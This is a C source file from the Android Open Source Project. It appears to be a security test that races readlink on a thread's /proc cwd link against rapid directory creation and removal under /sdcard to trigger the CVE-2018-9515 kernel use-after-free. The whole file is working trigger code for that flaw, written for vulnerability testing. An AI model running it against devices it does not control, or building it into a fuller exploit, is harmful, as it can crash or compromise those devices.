/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <pthread.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include "../includes/common.h"

pid_t looper_pid;

void *uaf_worker(__attribute__ ((unused)) void *unused) {
  char cwd_path[100];
  sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);

  time_t timer = start_timer();
  while (timer_active(timer)) {
    char symlink_target[1000];
    int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
    if (len > 0) {
      symlink_target[len] = 0;
    }
  }

  return NULL;
}

void *chaos_worker(__attribute__ ((unused)) void *unused) {
  if (chdir("/sdcard/Android/data/CVE-2018-9515"))
      err(1, "chdir");
  rmdir("subdir");

  time_t timer = start_timer();
  while (timer_active(timer)) {
    if (mkdir("subdir", 0777))
      err(1, "mkdir");
    if (chdir("subdir"))
      err(1, "chdir");
    if (rmdir("../subdir"))
      err(1, "rmdir");
    if (chdir(".."))
      err(1, "chdir");
  }

  return NULL;
}

int main(void) {
  looper_pid = syscall(__NR_gettid);

  pthread_t thread;
  if (pthread_create(&thread, NULL, uaf_worker, NULL))
    errx(1, "pthread_create failed");

  pthread_t thread2;
  if (pthread_create(&thread2, NULL, chaos_worker, NULL))
    errx(1, "pthread_create failed");

  char my_dir_name[100];
  sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
  rmdir(my_dir_name);

  time_t timer = start_timer();
  while (timer_active(timer)) {
    if (mkdir(my_dir_name, 0777))
      err(1, "looper: mkdir");
    if (rmdir(my_dir_name))
      err(1, "looper: rmdir");
  }

  return 0;
}
